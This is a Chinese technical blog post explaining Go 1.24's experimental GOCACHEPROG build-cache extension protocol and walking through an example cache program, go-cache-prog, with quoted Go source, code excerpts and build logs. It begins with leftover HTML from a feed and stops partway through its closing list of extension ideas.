title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"构建高效的AI智能体[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2025/03/04/deep-dive-into-gocacheprog-custom-extensions-for-go-build-cache\n背景 众所周知，Go build cache是在Go 1.10版本加入到Go工具链中的，缓存的主要目标是避免重复编译相同的代码，从而加快构建速度。\n默认情况下，Go构建缓存位于用户主目录下的一个特定目录中，例如，Linux上通常是$HOME/.cache/go-build，Windows上是%LocalAppData%\\go-build）。Mac上则是$HOME/Library/Caches/go-build。当然，Go开发者也可以通过GOCACHE环境变量自定义缓存位置。构建缓存的目录布局结构如下：\n除了Go build/install命令外，go test命令也会利用构建缓存(包括fuzzing test)。除了编译测试代码本身，go test还会缓存测试结果：如果测试代码和依赖项没有变化，并且之前的测试通过，go test会报告(cached)，表示测试结果来自缓存，而无需重新运行测试。如果测试代码或依赖项发生变化，或者之前的测试失败，go test会重新编译和运行测试。\n我们看到在GOCACHE目录下还有两个文件，一个是trim.txt，另外一个是testexpire.txt。trim.txt用于对Go构建缓存进行修剪(trim)($GOROOT/src/cmd/go/internal/cache/cache.go)，删除不太可能被重复使用的旧缓存条目，避免因过时的缓存占用过多资源，以保持缓存的高效性和有效性，trim.txt中保存了上次进行修剪的时间。testexpire.txt则是用于go clean清理测试缓存($GOROOT/src/cmd/go/internal/clean/clean.go)。\n默认的Go构建缓存机制取得了不错的构建和测试加速效果，可以满足了大多数需求。不过，也有一些接纳Go的开发者以及公司希望Go构建缓存支持自定义扩展。前Go核心成员、tailscale联创之一的Brad Fitzpatrick在2023年就提出了Go构建缓存自定义扩展的提案。\n在提案中，Bradfitz认为Go内置的构建缓存机制仅支持基于本地文件系统的缓存。在一些持续集成 (CI) 环境中，通常的做法是在每次运行时解和压缩$GOCACHE目录，这种方法效率低下，甚至可能比CI操作本身还要慢（例如，GitHub Actions 中的缓存）。提案希望Go能够支持更灵活地自定义构建缓存机制，例如：\n直接利用GitHub的原生缓存系统（而不是低效的 tar/untar）。 在公司内部的可信同事之间实现P2P缓存共享协议。 这些扩展的高级功能不太可能直接添加到Go工具本身中，因此Bradfitz希望Go命令可以支持指定一个特定的程序来扩展和管理缓存，这个特定的程序将作为Go命令启动的一个子进程的形式运行，go命令将内部的缓存接口转换为与子进程的通信协议，通过stdin/stdout与其通信。这样该特定的子程序就可以实现任意的缓存机制和策略了。Go与特定程序(比如my-cache-prog)的关系见下面示意图：\nBradfitz也对比了使用FUSE（用户空间文件系统）的方案（比如使用juicefs将基于S3的共享文件系统挂载到每个开发人员以及ci节点上，但Bradfitz认为FUSE文件系统在linux之外的平台上不稳定，在很多CI环境下无法工作。因此，一个Go原生支持的用户自定义构建缓存机制是非常有必要的，可以解决Go内置缓存的局限性，特别是在CI环境和团队协作场景中。它通过提供一个外部程序接口来实现灵活性，避免了直接修改Go命令本身。\n在《Go 1.24中值得关注的几个变化》以及《Go 1.24新特性前瞻：工具链和标准库》我们也提及了Go 1.24新增的实验特性：通过GOCACHEPROG实现Go构建缓存(go build cache)的自定义扩展。并提到了Bradfitz给出的GOCACHEPROG的参考实现go-tool-cache。不过Go 1.24正式版发布后，我使用Go 1.24.0验证了一下go-tool-cache，发现go-tool-cache似乎已经无法与Go 1.24.0正常协作了：\n$go version go version go1.24.0 linux/amd64 $GOCACHEPROG=\u0026#34;./go-cacher --verbose --cache-dir /tmp/go-cache\u0026#34; go install fmt 2025/03/03 17:00:30 put(action b8310cbc256f74a5f615df68a3a97753d42e1665adc309e78f20fc13259dec98, obj , 902 bytes): failed to write file to disk with right size: disk=1275; wanted=902 2025/03/03 17:00:30 put(action bc54b2b00ab97b34ef769b66fbe4afd5998f46f843cf2beddcd41974a2564bb1, obj , 1650 bytes): failed to write file to disk with right size: disk=116838; wanted=1650 2025/03/03 17:00:30 put(action 9c4f13b659995a6010f99d4427a18cf2e77919d251ef15e0f751bfdc2dff1806, obj , 1473 bytes): failed to write file to disk with right size: disk=273; wanted=1473 2025/03/03 17:00:30 put(action 6600d21f6b5d283315d789f13e681eed1c51d3ddde835b0f14817ecd144a667e, obj , 566 bytes): failed to write file to disk with right size: disk=565; wanted=566 /root/.bin/go1.24.0/src/internal/runtime/maps/runtime_swiss.go:11:2: package internal/asan is not in std (/root/.bin/go1.24.0/src/internal/asan) /root/.bin/go1.24.0/src/internal/runtime/maps/group.go:10:2: package internal/runtime/sys is not in std (/root/.bin/go1.24.0/src/internal/runtime/sys) /root/.bin/go1.24.0/src/fmt/print.go:8:2: package internal/fmtsort is not in std (/root/.bin/go1.24.0/src/internal/fmtsort) /root/.bin/go1.24.0/src/sync/hashtriemap.go:10:2: package internal/sync is not in std (/root/.bin/go1.24.0/src/internal/sync) 修正这个问题还是新实现一个GOCACHEPROG的扩展程序呢？我们选择后者，这样可以让我们更好地从头理解GOCACHEPROG。在这篇文章中，我们会从理解GOCACHEPROG protocol开始，逐步深入到实现自定义缓存管理的具体步骤，包括代码示例。后续基于这个基础，大家可以自己动手，实现满足你的个人/组织需求的Go构建缓存的管理程序。\n我们首先来看看Go命令与GOCACHEPROG扩展程序间的协议，这是实现自定义缓存扩展程序的核心。\n协议 在cmd/go/internal/cacheprog包的文档中，有关于Go命令与GOCACHEPROG扩展程序间的协议的详细说明。下面基于该文档，我们对这个协议做一些说明，并作为后续实现的参考。\n前面说过，GOCACHEPROG是Go 1.24引入的新实验特性(很大可能在Go 1.25版本转正)，允许使用外部程序实现Go构建缓存。其间的通信协议基于JSON消息通过stdin/stdout进行交换。Go命令将GOCACHEPROG指定的程序(以下称为my-cache-prog)以child process的形式启动，之后my-cache-prog与go命令之间的通信过程大致如下：\n初始化: my-cache-prog启动后立即发送一个包含自身支持命令的Response消息(也称为init response，对应的ID=0)给Go命令。 请求-响应模型: Go命令收到init response后，根据其支持的命令，发送Request，缓存程序my-cache-prog收到请求后进行处理，并回复Response 目前协议支持的命令类型包括如下三种：\nput: 将对象存储到缓存中。 get: 从缓存中检索对象。 close: 请求缓存程序优雅退出。 显然，通过KnownCommands机制，Go命令可以支持未来协议的扩展。\n文档中还给出了协议请求响应模型中Request和Response的定义，这个我们在Go命令的实现中也能找到：\n// $GOROOT/src/cmd/go/internal/cacheprog/cacheprog.go // Cmd is a command that can be issued to a child process. // // If the interface needs to grow, the go command can add new commands or new // versioned commands like \u0026#34;get2\u0026#34; in the future. The initial [Response] from // the child process indicates which commands it supports. type Cmd string const ( // CmdPut tells the cache program to store an object in the cache. // // [Request.ActionID] is the cache key of this object. The cache should // store [Request.OutputID] and [Request.Body] under this key for a // later \u0026#34;get\u0026#34; request. It must also store the Body in a file in the local // file system and return the path to that file in [Response.DiskPath], // which must exist at least until a \u0026#34;close\u0026#34; request. CmdPut = Cmd(\u0026#34;put\u0026#34;) // CmdGet tells the cache program to retrieve an object from the cache. // // [Request.ActionID] specifies the key of the object to get. If the // cache does not contain this object, it should set [Response.Miss] to // true. Otherwise, it should populate the fields of [Response], // including setting [Response.OutputID] to the OutputID of the original // \u0026#34;put\u0026#34; request and [Response.DiskPath] to the path of a local file // containing the Body of the original \u0026#34;put\u0026#34; request. That file must // continue to exist at least until a \u0026#34;close\u0026#34; request. CmdGet = Cmd(\u0026#34;get\u0026#34;) // CmdClose requests that the cache program exit gracefully. // // The cache program should reply to this request and then exit // (thus closing its stdout). CmdClose = Cmd(\u0026#34;close\u0026#34;) ) // Request is the JSON-encoded message that\u0026#39;s sent from the go command to // the GOCACHEPROG child process over stdin. Each JSON object is on its own // line. A ProgRequest of Type \u0026#34;put\u0026#34; with BodySize \u0026gt; 0 will be followed by a // line containing a base64-encoded JSON string literal of the body. type Request struct { // ID is a unique number per process across all requests. // It must be echoed in the Response from the child. ID int64 // Command is the type of request. // The go command will only send commands that were declared // as supported by the child. Command Cmd // ActionID is the cache key for \u0026#34;put\u0026#34; and \u0026#34;get\u0026#34; requests. ActionID []byte `json:\u0026#34;,omitempty\u0026#34;` // or nil if not used // OutputID is stored with the body for \u0026#34;put\u0026#34; requests. // // Prior to Go 1.24, when GOCACHEPROG was still an experiment, this was // accidentally named ObjectID. It was renamed to OutputID in Go 1.24. OutputID []byte `json:\u0026#34;,omitempty\u0026#34;` // or nil if not used // Body is the body for \u0026#34;put\u0026#34; requests. It\u0026#39;s sent after the JSON object // as a base64-encoded JSON string when BodySize is non-zero. // It\u0026#39;s sent as a separate JSON value instead of being a struct field // send in this JSON object so large values can be streamed in both directions. // The base64 string body of a Request will always be written // immediately after the JSON object and a newline. Body io.Reader `json:\u0026#34;-\u0026#34;` // BodySize is the number of bytes of Body. If zero, the body isn\u0026#39;t written. BodySize int64 `json:\u0026#34;,omitempty\u0026#34;` // ObjectID is the accidental spelling of OutputID that was used prior to Go // 1.24. // // Deprecated: use OutputID. This field is only populated temporarily for // backwards compatibility with Go 1.23 and earlier when // GOEXPERIMENT=gocacheprog is set. It will be removed in Go 1.25. ObjectID []byte `json:\u0026#34;,omitempty\u0026#34;` } // Response is the JSON response from the child process to the go command. // // With the exception of the first protocol message that the child writes to its // stdout with ID==0 and KnownCommands populated, these are only sent in // response to a Request from the go command. // // Responses can be sent in any order. The ID must match the request they\u0026#39;re // replying to. type Response struct { ID int64 // that corresponds to Request; they can be answered out of order Err string `json:\u0026#34;,omitempty\u0026#34;` // if non-empty, the error // KnownCommands is included in the first message that cache helper program // writes to stdout on startup (with ID==0). It includes the // Request.Command types that are supported by the program. // // This lets the go command extend the protocol gracefully over time (adding // \u0026#34;get2\u0026#34;, etc), or fail gracefully when needed. It also lets the go command // verify the program wants to be a cache helper. KnownCommands []Cmd `json:\u0026#34;,omitempty\u0026#34;` // For \u0026#34;get\u0026#34; requests. Miss bool `json:\u0026#34;,omitempty\u0026#34;` // cache miss OutputID []byte `json:\u0026#34;,omitempty\u0026#34;` // the ObjectID stored with the body Size int64 `json:\u0026#34;,omitempty\u0026#34;` // body size in bytes Time *time.Time `json:\u0026#34;,omitempty\u0026#34;` // when the object was put in the cache (optional; used for cache expiration) // For \u0026#34;get\u0026#34; and \u0026#34;put\u0026#34; requests. // DiskPath is the absolute path on disk of the body corresponding to a // \u0026#34;get\u0026#34; (on cache hit) or \u0026#34;put\u0026#34; request\u0026#39;s ActionID. DiskPath string `json:\u0026#34;,omitempty\u0026#34;` } Request是由Go命令发送的请求，它包含的几个字段的含义如下：\nID: 每个进程中所有请求的唯一编号 Command: 请求类型(put/get/close) ActionID: 缓存键 OutputID: 存储在缓存中的对象ID，实际也是Body数据的Sha256的值。 Body: “put”请求的主体数据，”get”和”close”请求没有Body。 BodySize: Body的字节数 Response则是由缓存程序回复给Go命令的结构，它的定义中的几个字段的含义如下：\nID: 对应请求的ID Err: 错误信息(如有) KnownCommands: 支持的命令列表(用于初始Response) Miss: 缓存未命中标志 OutputID: 存储在缓存中的对象ID Size: 主体大小(字节) Time: 对象放入缓存的时间 DiskPath: 对应缓存项在磁盘上的绝对路径 这里要注意几点：\n除了init Response，其他Response可以乱序返回，Go命令会通过Response中的ID来匹配对应的Request。 不论缓存数据存储在哪里，最终提供给Go命令的都应该在本地文件系统中，并通过Response中的DiskPath来指示该数据对应的绝对路径。 为了能更好地理解这个协议的交互，我这里画了一幅Go命令与my-cache-prog之间的交互示意图：\n到这里，还有一个地方尚未清楚，那就是put请求与put/get请求之间以及put请求内部body的编码格式并未说清楚。在文档中，这部分也不是那么清晰，但这却决定了后续实现的正确性。为了给后面的实现做好铺垫，我们可以通过查看Go命令的对put请求的编码实现来确认这部分内容。在\n// $GOROOT/src/cmd/go/internal/cache/prog.go func (c *ProgCache) writeToChild(req *cacheprog.Request, resc chan\u0026lt;- *cacheprog.Response) (err error) { c.mu.Lock() if c.inFlight == nil { return errCacheprogClosed } c.nextID++ req.ID = c.nextID c.inFlight[req.ID] = resc c.mu.Unlock() defer func() { if err != nil { c.mu.Lock() if c.inFlight != nil { delete(c.inFlight, req.ID) } c.mu.Unlock() } }() c.writeMu.Lock() defer c.writeMu.Unlock() if err := c.jenc.Encode(req); err != nil { return err } if err := c.bw.WriteByte(\u0026#39;\\n\u0026#39;); err != nil { return err } if req.Body != nil \u0026amp;\u0026amp; req.BodySize \u0026gt; 0 { if err := c.bw.WriteByte(\u0026#39;\u0026#34;\u0026#39;); err != nil { return err } e := base64.NewEncoder(base64.StdEncoding, c.bw) wrote, err := io.Copy(e, req.Body) if err != nil { return err } if err := e.Close(); err != nil { return nil } if wrote != req.BodySize { return fmt.Errorf(\u0026#34;short write writing body to GOCACHEPROG for action %x, output %x: wrote %v; expected %v\u0026#34;, req.ActionID, req.OutputID, wrote, req.BodySize) } if _, err := c.bw.WriteString(\u0026#34;\\\u0026#34;\\n\u0026#34;); err != nil { return err } } if err := c.bw.Flush(); err != nil { return err } return nil } 通过上述代码，我们可以总结出下面put请求的编码格式：\n解释一下这张图。\n顶部(蓝色区域): JSON编码的请求元数据 包含ID、ActionID、OutputID和BodySize等字段。这部分使用标准JSON格式。\n中间(黄色条): 换行符分隔符(‘\\n’) JSON元数据后的第一个换行符。\n中部(绿色区域): Base64编码的请求体(可选) 这部分以双引号(“)开始，紧接着是Base64编码的二进制数据，最后以双引号(“)结束。\n底部(黄色条): 最终换行符(‘\\n’) 整个请求的结束标记。\n总的来说，Go命令的put请求使用了JSON+Base64的组合编码方式：请求的元数据以JSON格式编码，请求体以Base64编码(base64编码前后各有一个双引号)，它们之间用换行符分隔，整个请求最后以换行符结束。这种格式便于解析，同时也能处理二进制数据。\n注意：根据json.Encoder.Encode的文档，编码后的json文本也会跟着一个换行符(newline)。\n不过代码中还有一点非常值得注意，那就是Put请求的BodySize的值为base64编码之前的Body长度！这一点如果不看源码，很容易使用BodySize去读取Body体的内容，从而导致解码出错！\n好了，详细了解了上述协议后，我们就来尝试实现一个my-cache-prog程序。程序开源到github.com/bigwhite/go-cache-prog项目中了，大家可以结合项目代码来继续阅读下面的内容。\n实现 3.1 整体设计 go-cache-prog的实现采用了模块化设计，将不同的功能划分到独立的包中，以提高代码的可维护性和可扩展性。整体结构如下：\ngo-cache-prog/ ├── cmd/ │ └── go-cache-prog/ │ └── main.go (可执行程序入口) ├── protocol/ │ └── protocol.go (请求/响应定义和解析) ├── storage/ │ ├── storage.go (存储后端接口) │ └── filesystem/ │ └── filesystem.go (基于本地文件系统的存储实现) └── cache/ └── cache.go (内存缓存逻辑) cmd/go-cache-prog/main.go: 这是可执行程序的入口点。 它负责解析命令行参数、设置日志输出、确定缓存目录、初始化存储和缓存、发送初始能力响应、启动请求处理循环。\n// cmd/go-cache-prog/main.go (部分) func main() { // ... (参数解析、日志设置、缓存目录确定) ... store, err := filesystem.NewFileSystemStorage(cacheDir, verbose) if err != nil { log.Fatalf(\u0026#34;Failed to initialize filesystem storage: %v\u0026#34;, err) } cacheInstance := cache.NewCache(store) // ... (发送初始响应) ... requestHandler := protocol.NewRequestHandler(reader, os.Stdout, cacheInstance, verbose) if err := requestHandler.HandleRequests(); err != nil { log.Fatalf(\u0026#34;Error handling requests: %v\u0026#34;, err) } } protocol: 此包处理与go命令的通信协议，定义请求/响应结构，处理请求。 // protocol/protocol.go (部分) type RequestHandler struct { reader *bufio.Reader writer io.Writer cache *cache.Cache verbose bool gets int //statistics getMiss int } func (rh *RequestHandler) HandleRequests() error { for { req, err := rh.readRequest() // ... (错误处理、请求处理) ... } } storage: 此包定义了存储后端的抽象接口。 // storage/storage.go type Storage interface { Put(actionID, outputID []byte, data []byte, size int64) (string, error) Get(actionID []byte) (outputID []byte, size int64, modTime time.Time, diskPath string, found bool, err error) // ... (可选方法) ... } storage/filesystem: 此包提供了storage.Storage接口的一个具体实现，使用本地文件系统。 // storage/filesystem/filesystem.go (部分) type FileSystemStorage struct { baseDir string verbose bool } func NewFileSystemStorage(baseDir string, verbose bool) (*FileSystemStorage, error) { // ... (创建目录) ... } cache: 此包实现了内存缓存层, 位于存储接口之上。 // cache/cache.go (部分) type Cache struct { entries map[string]CacheEntry mu sync.RWMutex store storage.Storage } func NewCache(store storage.Storage) *Cache { // ... (初始化 map) ... } 3.2 协议解析 protocol包负责处理go-cache-prog与go命令之间的基于JSON的通信协议。\n请求 (Request): // protocol/protocol.go type Request struct { ID int64 Command Cmd ActionID []byte `json:\u0026#34;,omitempty\u0026#34;` OutputID []byte `json:\u0026#34;,omitempty\u0026#34;` Body io.Reader `json:\u0026#34;-\u0026#34;` BodySize int64 `json:\u0026#34;,omitempty\u0026#34;` ObjectID []byte `json:\u0026#34;,omitempty\u0026#34;` // Deprecated } 响应 (Response): // protocol/protocol.go type Response struct { ID int64 `json:\u0026#34;,omitempty\u0026#34;` Err string `json:\u0026#34;,omitempty\u0026#34;` KnownCommands []Cmd `json:\u0026#34;,omitempty\u0026#34;` Miss bool `json:\u0026#34;,omitempty\u0026#34;` OutputID []byte `json:\u0026#34;,omitempty\u0026#34;` Size int64 `json:\u0026#34;,omitempty\u0026#34;` Time *time.Time `json:\u0026#34;,omitempty\u0026#34;` DiskPath string `json:\u0026#34;,omitempty\u0026#34;` } RequestHandler的readRequest方法负责读取和解析请求：\n// protocol/protocol.go (部分) func (rh *RequestHandler) readRequest() (*Request, error) { line, err := rh.reader.ReadBytes(\u0026#39;\\n\u0026#39;) if err != nil { return nil, err } // ... (处理空行) ... var req Request if err := json.Unmarshal(line, \u0026amp;req); err != nil { // 检查base64 if len(line) \u0026gt;= 2 \u0026amp;\u0026amp; line[0] == \u0026#39;\u0026#34;\u0026#39; \u0026amp;\u0026amp; line[len(line)-1] == \u0026#39;\u0026#34;\u0026#39;{ // ... } return nil, fmt.Errorf(\u0026#34;failed to unmarshal request: %w\u0026#34;, err) } return \u0026amp;req, nil } 对于put请求, 如果BodySize大于0, 需要读取并解码Base64数据：\n// protocol/protocol.go (部分) func (rh *RequestHandler) handlePut(req *Request) { var bodyData []byte if req.BodySize \u0026gt; 0 { bodyLine, err := rh.reader.ReadBytes(\u0026#39;\\n\u0026#39;) // ... (跳过空行)... bodyLine, err = rh.reader.ReadBytes(\u0026#39;\\n\u0026#39;) // ... (错误处理) ... bodyLine = bytes.TrimSpace(bodyLine) if len(bodyLine) \u0026lt; 2 || bodyLine[0] != \u0026#39;\u0026#34;\u0026#39; || bodyLine[len(bodyLine)-1] != \u0026#39;\u0026#34;\u0026#39; { // ... (格式错误) ... } base64Body := bodyLine[1 : len(bodyLine)-1] bodyData, err = base64.StdEncoding.DecodeString(string(base64Body)) // ... (解码错误、大小不匹配处理) ... } // ... (调用 cache.Put) ... } 3.3 缓存管理 cache包实现了内存缓存层，减少对底层存储的访问。\nCacheEntry结构体: // cache/cache.go type CacheEntry struct { OutputID []byte Size int64 Time time.Time DiskPath string } Cache结构体和NewCache: // cache/cache.go type Cache struct { entries map[string]CacheEntry mu sync.RWMutex store storage.Storage } func NewCache(store storage.Storage) *Cache { return \u0026amp;Cache{ entries: make(map[string]CacheEntry), store: store, } } Put方法: // cache/cache.go func (c *Cache) Put(actionID, outputID []byte, data []byte, size int64) (string, error) { diskPath, err := c.store.Put(actionID, outputID, data, size) if err != nil { return \u0026#34;\u0026#34;, err } entry := CacheEntry{ /* ... */ } actionIDHex := fmt.Sprintf(\u0026#34;%x\u0026#34;, actionID) c.mu.Lock() c.entries[actionIDHex] = entry c.mu.Unlock() return diskPath, nil } Get方法: // cache/cache.go func (c *Cache) Get(actionID []byte) (*CacheEntry, bool, error) { actionIDHex := fmt.Sprintf(\u0026#34;%x\u0026#34;, actionID) c.mu.RLock() entry, exists := c.entries[actionIDHex] c.mu.RUnlock() if exists { return \u0026amp;entry, true, nil // 优先从内存缓存读取 } // ... (从存储中读取, 并更新内存缓存) ... } 3.4 抽象存储接口与本地文件系统实现 storage.Storage接口定义了存储后端的抽象，目的是为了支持更多的实现扩展，比如支持在S3上存储等。\n// storage/storage.go type Storage interface { Put(actionID, outputID []byte, data []byte, size int64) (string, error) Get(actionID []byte) (outputID []byte, size int64, modTime time.Time, diskPath string, found bool, err error) } storage/filesystem包提供了一种基于本地文件系统的实现。\nFileSystemStorage和NewFileSystemStorage: // storage/filesystem/filesystem.go type FileSystemStorage struct { baseDir string verbose bool } func NewFileSystemStorage(baseDir string, verbose bool) (*FileSystemStorage, error) { if err := os.MkdirAll(baseDir, 0755); err != nil { return nil, err } return \u0026amp;FileSystemStorage{baseDir: baseDir, verbose: verbose}, nil } Put方法: // storage/filesystem/filesystem.go func (fss *FileSystemStorage) Put(actionID, outputID []byte, data []byte, size int64) (string, error) { actionIDHex := fmt.Sprintf(\u0026#34;%x\u0026#34;, actionID) //outputIDHex := fmt.Sprintf(\u0026#34;%x\u0026#34;, outputID) //Might not need actionFile := filepath.Join(fss.baseDir, fmt.Sprintf(\u0026#34;a-%s\u0026#34;, actionIDHex)) diskPath := filepath.Join(fss.baseDir, fmt.Sprintf(\u0026#34;o-%s\u0026#34;, actionIDHex)) absPath, _ := filepath.Abs(diskPath) // Write metadata now := time.Now() ie, err := json.Marshal(indexEntry{ Version: 1, OutputID: outputID, Size: size, Time: \u0026amp;now, }) // ... (错误处理, 写入元数据文件) ... if size \u0026gt; 0{ // 写入数据文件 if err := os.WriteFile(diskPath, data, 0644); err != nil { return \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;failed to write cache file: %w\u0026#34;, err) } } else { //创建空文件 zf, err := os.OpenFile(diskPath, os.O_CREATE|os.O_RDWR, 0644) if err != nil { return \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;failed to create empty file: %w\u0026#34;, err) } zf.Close() } return absPath, nil } Get方法: // storage/filesystem/filesystem.go func (fss *FileSystemStorage) Get(actionID []byte) (outputID []byte, size int64, modTime time.Time, diskPath string, found bool, err error) { actionIDHex := fmt.Sprintf(\u0026#34;%x\u0026#34;, actionID) actionFile := filepath.Join(fss.baseDir, fmt.Sprintf(\u0026#34;a-%s\u0026#34;, actionIDHex)) // Read metadata af, err := os.ReadFile(actionFile) // ... (文件不存在处理) ... var ie indexEntry if err := json.Unmarshal(af, \u0026amp;ie); err != nil { return nil, 0, time.Time{}, \u0026#34;\u0026#34;, false, fmt.Errorf(\u0026#34;failed to unmarshal index entry: %w\u0026#34;, err) } objectFile := filepath.Join(fss.baseDir, fmt.Sprintf(\u0026#34;o-%s\u0026#34;, actionIDHex)) info, err := os.Stat(objectFile) // ... (对象文件不存在、或其他错误处理) ... diskPath, _ = filepath.Abs(objectFile) return ie.OutputID, info.Size(), info.ModTime(), diskPath, true, nil } storage/filesystem使用了两种类型的文件来分别存储缓存数据和元数据：\na-{actionID} (Action File): 元数据文件 这个文件存储了关于缓存条目的元数据，使用JSON格式。actionID是缓存键的十六进制表示。\no-{actionID} (Object File): 对象文件。 这个文件存储了实际的缓存数据（即Request.Body的内容）。actionID 与对应的元数据文件中的actionID 相同。\n对于一些Put请求(with BodySize=0)的，同样会创建元数据文件和对象文件，只是对象文件的size为0。\n这么设计便于快速查找：在执行Get操作时，go-cache-prog首先读取a-{actionID}文件。这个文件很小，因为它只包含元数据。通过读取这个文件，go-cache-prog可以快速确定：缓存条目是否存在（如果 a-{actionID} 文件不存在，则肯定不存在）。 如果存在，可以获取到OutputID、数据大小（Size）和最后修改时间（Time），并放入内存缓存中，而无需读取可能很大的o-{actionID}文件，便可以知道对象文件（o-{actionID}）是否存在。\n验证 下载go-cache-prog源码并编译：\n$git clone https://github.com/bigwhite/go-cache-prog.git $make 注意：go-cache-prog需要与Go 1.24及以上版本配合使用。\n接下来，我们将fmt包首次编译安装到go-cache-prog的默认缓存目录下(~/.gocacheprog)：\n$GOCACHEPROG=\u0026#34;./go-cache-prog --verbose\u0026#34; go install fmt 2025/03/04 10:47:59 Using cache directory: /Users/tonybai/.gocacheprog 2025/03/04 10:47:59 Received request: ID=1, Command=get, ActionID=90c776cb58a3c3a99b5622344df5bc959fd2b90f299b40ae21ec6ccf16c77a23, OutputID=, BodySize=0 2025/03/04 10:47:59 Received request: ID=2, Command=put, ActionID=90c776cb58a3c3a99b5622344df5bc959fd2b90f299b40ae21ec6ccf16c77a23, OutputID=4e67091862cdc5ff3d44d51adaf9f5a3f5e993dcbc0b6aad884d00d929f3f4d3, BodySize=3037 2025/03/04 10:47:59 Put request: ID=2, Actual BodyLen=4055 2025/03/04 10:47:59 Received request: ID=3, Command=get, ActionID=b2d3027bda366ae198f991d65f62b5be25aa7fe41092bb81218ba24363923b69, OutputID=, BodySize=0 2025/03/04 10:47:59 Received request: ID=4, Command=get, ActionID=c48dafcc394ccfed5c334ef2e21ba8b5bd09a883956f17601cf8a3123f8afd2b, OutputID=, BodySize=0 2025/03/04 10:47:59 Received request: ID=5, Command=get, ActionID=b16400d94b83897b0e7a54ee4223208ff85b4926808bcae66e488d2dbab85054, OutputID=, BodySize=0 2025/03/04 10:47:59 Received request: ID=6, Command=get, ActionID=789f5b8e5b2390e56d26ac916b6f082bfb3e807ee34302f8aa0310e6e225ac77, OutputID=, BodySize=0 ... ... 2025/03/04 10:48:03 Received request: ID=321, Command=close, ActionID=, OutputID=, BodySize=0 2025/03/04 10:48:03 Gets: 107, GetMiss: 107 由于初始情况下，默认缓存目录下(/.gocacheprog)没有构建缓存的文件，因此上面的所有get都miss了，go命令会发送put请求，go-cache-prog会构建初始cache。在默认缓存目录下(/.gocacheprog)下，我们可以看到类似这样的文件列表：\n$ls ~/.gocacheprog a-01fae6e8773991089b07eef70a209ee3e99e229231b4956689d7c914a84c70de a-030b82281d0fae81d44e96b140c276fa232abe46ae92b7fe1d4b7213bc58eef1 a-046d1381c7f1061967c50c5ba2a112486374c6682e80b154f26f17302eb623a4 ... ... o-fc0a0cf26b5a438834ee47a7166286bfb4266c93b667a66e5630502db7651507 o-fc5364bf6b2b714e6a90e8b57652827666b93366f0e322875eefd21b4cc58b3f o-fde27b35692f9efeae945f00ab029fe156cbfa961bf6149ab9767e1efd057545 o-ff141dd2b1c95d4cba6c3cda5792d8863e428824565ecb5765018710199a2f69 接下来，我们再次执行同样的命令，看看cache是否起到了作用：\n$GOCACHEPROG=\u0026#34;./go-cache-prog --verbose\u0026#34; go install fmt 2025/03/04 10:50:14 Using cache directory: /Users/tonybai/.gocacheprog 2025/03/04 10:50:14 Received request: ID=1, Command=get, ActionID=90c776cb58a3c3a99b5622344df5bc959fd2b90f299b40ae21ec6ccf16c77a23, OutputID=, BodySize=0 2025/03/04 10:50:14 Received request: ID=2, Command=get, ActionID=c48dafcc394ccfed5c334ef2e21ba8b5bd09a883956f17601cf8a3123f8afd2b, OutputID=, BodySize=0 2025/03/04 10:50:14 Received request: ID=3, Command=get, ActionID=b16400d94b83897b0e7a54ee4223208ff85b4926808bcae66e488d2dbab85054, OutputID=, BodySize=0 2025/03/04 10:50:14 Received request: ID=4, Command=get, ActionID=789f5b8e5b2390e56d26ac916b6f082bfb3e807ee34302f8aa0310e6e225ac77, OutputID=, BodySize=0 2025/03/04 10:50:14 Received request: ID=5, Command=get, ActionID=c6e6427a15f95d70621df48cc68ab039075d66c1087427eb9a04bcf729c5b491, OutputID=, BodySize=0 ... ... 2025/03/04 10:50:14 Received request: ID=161, Command=close, ActionID=, OutputID=, BodySize=0 2025/03/04 10:50:14 Gets: 160, GetMiss: 0 我们看到所有的Get请求都命中了缓存(GetMiss: 0)，此次执行也肉眼可见的快！\n我们再来用一个可执行程序验证一下利用build cache的构建。在go-cache-prog项目下有一个examples/helloworld示例，在该目录下执行make，我们就能看到构建的输出：\n$cd examples/helloworld $make GOCACHEPROG=\u0026#34;../../go-cache-prog --verbose\u0026#34; go build 2025/03/04 10:54:35 Using cache directory: /Users/tonybai/.gocacheprog 2025/03/04 10:54:35 Received request: ID=1, Command=get, ActionID=7c1950a92d55fae91254e8923f7ea4cdfd2ce34953bcf2348ba851be3e2402a1, OutputID=, BodySize=0 2025/03/04 10:54:35 Received request: ID=2, Command=put, ActionID=7c1950a92d55fae91254e8923f7ea4cdfd2ce34953bcf2348ba851be3e2402a1, OutputID=43b1c1a308784cd610fda967d781d3c5ccfd4950263df98d18a2ddb2dd218f5a, BodySize=251 2025/03/04 10:54:35 Put request: ID=2, Actual BodyLen=339 2025/03/04 10:54:35 Received request: ID=3, Command=get, ActionID=90c776cb58a3c3a99b5622344df5bc959fd2b90f299b40ae21ec6ccf16c77a23, OutputID=, BodySize=0 ... ... 2025/03/04 10:54:35 Received request: ID=165, Command=close, ActionID=, OutputID=, BodySize=0 2025/03/04 10:54:35 Gets: 163, GetMiss: 1 我们看到绝大部分都是命中缓存的。\n执行构建出的helloworld，程序也会正常输出内容：\n$./helloworld hello, world! 小结 本文深入探讨了Go 1.24引入的GOCACHEPROG这一实验性特性，它为Go构建缓存带来了前所未有的灵活性。通过允许开发者使用自定义程序来管理构建缓存，GOCACHEPROG解决了Go内置缓存机制在特定场景下的局限性，特别是CI环境和团队协作中的痛点。\n文中，我们基于对协议的理解，逐步构建了一个名为go-cache-prog的自定义缓存程序。go-cache-prog采用了模块化设计，将协议解析、缓存管理和存储抽象分离到不同的包中，提高了代码的可维护性和可扩展性。\n最后，我们通过实际的编译和安装示例，验证了go-cache-prog的功能，展示了它如何与Go命令协同工作，实现自定义的构建缓存管理。\ngo-cache-prog项目提供了一个坚实的基础，开发者可以在此基础上进行扩展，实现更高级的功能，例如：\n不同的存储后端：实现storage.Storage接口，支持将缓存数据存储到云存储（如 AWS S3、Google Cloud Storage）、分布式缓存（如 Redis、Memcached）或其他存储系统中。 